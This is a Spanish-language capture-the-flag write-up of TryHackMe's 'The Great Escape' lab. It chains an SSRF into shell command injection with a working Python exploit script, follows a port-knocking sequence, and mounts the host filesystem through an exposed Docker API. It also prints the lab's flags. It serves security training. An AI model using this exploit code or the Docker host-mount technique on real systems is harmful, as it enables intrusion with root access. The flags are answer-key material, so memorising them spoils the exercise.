Home The Great Escape
Post
Cancel

The Great Escape

Write up de la maquina The Great Escape de dificultad media de la plataforma de TryHackMe.

Enumeracion

Empezemos enumerando que puertos tiene abierto la maquina victima.

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -p- --open 10.10.150.154
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 20:11 -05
Nmap scan report for 10.10.150.154
Host is up (0.17s latency).
Not shown: 54562 closed tcp ports (conn-refused), 10971 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 66.67 seconds

Intentemos detectar la version que corre para estos puertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.93 scan initiated Thu Apr 13 17:12:25 2023 as: nmap -sCV -p22,80,2375 -oN targeted 10.10.31.83
Nmap scan report for 10.10.31.83
Host is up (0.22s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http    nginx 1.19.6
|_http-server-header: nginx/1.19.6
| http-robots.txt: 3 disallowed entries 
|_/api/ /exif-util /*.bak.txt$
|_http-title: docker-escape-nuxt
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.93%I=7%D=4/13%Time=64387E55%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,5,"{\*G\r\n");
Service Info: OS: linux

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 13 17:15:41 2023 -- 1 IP address (1 host up) scanned in 196.19 seconds

nmap nos detecto un par de rutas del archivo robots.txt mas adelante vemos esto, veamos la web.

Veamos las rutas que tiene el archivo robots.txt que nos reporto el nmap.

1
2
3
4
5
6
❯ curl -s 10.10.150.154/robots.txt
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$

En la ruta exif-util podemos subir un archivo, o poner la url de del archivo.

Veamos si el tema de la url esta funcional.

Le damos en submit y nos llega una peticion del servidor.

1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.150.154 - - [13/Apr/2023 20:26:16] code 404, message File not found
10.10.150.154 - - [13/Apr/2023 20:26:16] "GET /test.png HTTP/1.1" 404 -

En este punto este campo nos podria servir para aplicar un SSRF (Server Side Request Forgery), veamos si nos deja apuntar al localhost de la propia maquina. Nos dice connection refused, lo que quiere decir que el puerto 80 esta cerrado, si hacemos un testeo manual con puerto tipicos como el 8000 y 8080 este ultimo nos devuelve contenido.

Por ahora este SSRF no nos va a servir de a mucho, sigamos enumerando la web, antes en el robots.txt vimos algo interesante los archivos de backups estan con la extension .bak.txt y vimos que el archivo exif-util esta en la web, veamos si podemos ver el backup de este archivo, y lo podemos leer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
 curl -s 10.10.150.154/exif-util.bak.txt
<template>
  <section>
    <div class="container">
      <h1 class="title">Exif Utils</h1>
      <section>
        <form @submit.prevent="submitUrl" name="submitUrl">
          <b-field grouped label="Enter a URL to an image">
            <b-input
              placeholder="http://..."
              expanded
              v-model="url"
            ></b-input>
            <b-button native-type="submit" type="is-dark">
              Submit
            </b-button>
          </b-field>
        </form>
      </section>
      <section v-if="hasResponse">
        <pre>
          
        </pre>
      </section>
    </div>
  </section>
</template>

<script>
export default {
  name: 'Exif Util',
  auth: false,
  data() {
    return {
      hasResponse: false,
      response: '',
      url: '',
    }
  },
  methods: {
    async submitUrl() {
      this.hasResponse = false
      console.log('Submitted URL')
      try {
        const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
          params: {
            url: this.url,
          },
        })
        this.hasResponse = true
        this.response = response
      } catch (err) {
        console.log(err)
        this.$buefy.notification.open({
          duration: 4000,
          message: 'Something bad happened, please verify that the URL is valid',
          type: 'is-danger',
          position: 'is-top',
          hasIcon: true,
        })
      }
    },
  },
}
</script>

En esta parte del codigo esta definido a donde van a ir las peticiones que lanzamos desde la cargada de imagenes que vimos hace un momento, y esta definiendo un parametro url.

1
2
3
4
5
6
try {
        const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
          params: {
            url: this.url,
          },
        })

podemos comprobar que las peticiones desde la web viajen igual a como esta definida en este backup. Igual esta haciendo la peticion a la api y le pasa el parametro url del cual tenemos control.

Explotacion

Al momento de nosotros introducir una url la web por detras le pasa atraves del parametro url nuestra data a la ruta http://api-dev-backup:8080/exif, pero claro hay un servidor de por medio que realiza un tipo de sanitizacion antes de llegar al punto final, pero podemos tener una comunicacion directa con la ruta que se encarga de realizar las consultas atraves del SSRF, que detectamos en la web.

La peticion la voy a interceptar con burpsuite. Podemos hacer la comunicacion con el servidor si dejamos el campo vacio, podemos observar que hay un comando ejecutandose por detras, este campo en la web que esta de intermediaria nos obligaba a poner una url, pero en el punto final podemos poner lo que queramos. Como esta ejecutando un comando a nivel de sistema con un ; podemos cerrar el primero comando y ejecutar cualquier comando y bueno tenemos una rce. Es un poco molesto estar poniendo que comandos queremos ejecutar de esta manera por lo que voy a crear un script de python atraves del cual ejecutar los comandos en la url.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3

import signal, sys, time, requests, pdb, re

def ctrl_c(sig, frame):

    print("\n\n[!] Saliendo.\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, ctrl_c)

if len(sys.argv) < 2:
    print("\nUso:\n\tpython3 %s <ip>" % sys.argv[0])
    sys.exit(1)

url = 'http://' + sys.argv[1]

def makeRequest(main_url, command):
    
    url_command = main_url + command
    r = requests.get(url_command)
    
#    data = re.findall('information\n(.*?)\n', r.text)[0]
    return r.text

def makeCommand():

    main_url = url + '/api/exif?url=http://api-dev-backup:8080/exif?url=;'
    
    while True:
        
        command = input('$~ ')

        data = makeRequest(main_url, command)
        
        output = re.sub('.*\n', '', data, count=5)
        output = output.replace("               ----------------------------------------\n               curl: no URL specified!\ncurl: try 'curl --help' or 'curl --manual' for more information\n", "")

        print(output)

if __name__ == "__main__":
    makeCommand()

Simplemente lo ejecutamos y le tenemos que pasar como argumento la ip.

1
2
3
4
5
❯ python3 exploit.py 10.10.150.154
$~ id
uid=0(root) gid=0(root) groups=0(root)

$~ 

Si miramos la ip nos daremos cuenta que estamos ejecutando comandos en lo que parece un contenedor aunque me parece extraño la ip que tiene.

1
2
$~ hostname -I
192.168.112.3 

Enumerando un poco en el directorio root hay un proyecto de git.

1
2
3
4
5
6
7
8
9
10
11
12
$~ ls -la /root
total 28
drwx------ 1 root root 4096 Jan  7  2021 .
drwxr-xr-x 1 root root 4096 Jan  7  2021 ..
lrwxrwxrwx 1 root root    9 Jan  6  2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan  7  2021 .git
-rw-r--r-- 1 root root   53 Jan  6  2021 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-rw-r-- 1 root root  201 Jan  7  2021 dev-note.txt

$~ 

Enumeremos los commit de este proyecto.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$~ git --git-dir /root/.git log
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date:   Thu Jan 7 16:48:58 2021 +0000

    fixed the dev note

commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Removed the flag and original dev note b/c Security

commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

$~ 

Vemos un commit muy interesante agregaron la flag y notas de desarrollo veamos este commit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$~ git --git-dir /root/.git show a3d30a7d0510dc6565ff9316e3fb84434916dee8
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{0cb4b947043cb5c0486a454b75a10876}
\ No newline at end of file

$~

Hay vemos la flag, pero mas interesante la nota que hay, esta hablando de que esta cansado de tener que abrir el puerto de administracion de docker y tuvo que aver una configurado una regla en el firewall que al momento de escanear en orden los puertos que nos indican, un nuevo puerto deberia abrirse esta tecnica se llama port knocking (golpeo de puertos).

El golpeo de puertos es un mecanismo para abrir puertos externamente en un firewall mediante una secuencia preestablecida de intentos de conexión a puertos que se encuentran cerrados.

Simplemente tenemos que tocar uno por uno en orden los puertos que nos indican, lo voy hacer con nmap de la siguiente manera.

1
for port in 42 1337 10420 6969 63000;do echo "[+] Puerto $port"; nmap -p$port 10.10.75.132 ;done

Si volvemos a escanear la maquina victima con nmap veremos que aparece otro puerto abierto.

1
2
3
4
5
6
7
8
9
10
11
12
❯ nmap -p- --open 10.10.75.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:23 -05
Nmap scan report for 10.10.75.132
Host is up (0.17s latency).
Not shown: 48968 closed tcp ports (conn-refused), 16564 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2375/tcp open  docker

Nmap done: 1 IP address (1 host up) scanned in 83.86 seconds

Vemos el puerto 2375 que es el puerto docker, bueno atraves de este puerto podemos hacer cosas interesantes, como crear nuevos contenedores, entre otras muchas mas cosas.

Veamos Que imaganes hay displonibles, esto lo hare definiendo una variable de entorno, la cual tiene la ip y el puerto del demonio de docker.

1
2
3
4
5
6
7
8
9
10
DOCKER_HOST=tcp://10.10.75.132:2375 docker images
REPOSITORY                                    TAG       IMAGE ID       CREATED       SIZE
exif-api-dev                                  latest    4084cb55e1c7   2 years ago   214MB
exif-api                                      latest    923c5821b907   2 years ago   163MB
frontend                                      latest    577f9da1362e   2 years ago   138MB
endlessh                                      latest    7bde5182dc5e   2 years ago   5.67MB
nginx                                         latest    ae2feff98a0c   2 years ago   133MB
debian                                        10-slim   4a9cd57610d6   2 years ago   69.2MB
registry.access.redhat.com/ubi8/ubi-minimal   8.3       7331d26c1fdf   2 years ago   103MB
alpine                                        3.9       78a2ce922f86   2 years ago   5.55MB

Ahora voy a crear un contenedor y voy a usar una montura para que toda la raiz del sistema de la maquina victima me lo monte en el directorio /mnt/machine del contenedor que voy a crear.

1
2
3
4
5
DOCKER_HOST=tcp://10.10.75.132:2375 docker run -it -v /:/mnt/machine alpine:3.9 sh
/ # ls /mnt/machine/
bin             dev             home            initrd.img.old  lib64           media           opt             root            sbin            swapfile        tmp             var             vmlinuz.old
boot            etc             initrd.img      lib             lost+found      mnt             proc            run             srv             sys             usr             vmlinuz
/ #

Podemos ver que en la carpeta /mnt/machine se creo correctamente la montura y vemos toda la raiz del sistema, podemos visualizar la flag que esta en el directorio /root.

1
2
3
4
5
/ # cat /mnt/machine/root/flag.txt 
Congrats, you found the real flag!

THM{c62517c0cad93ac93a92b1315a32d734}
/ # 

Gracias por leer.

This post is licensed under CC BY 4.0 by the author.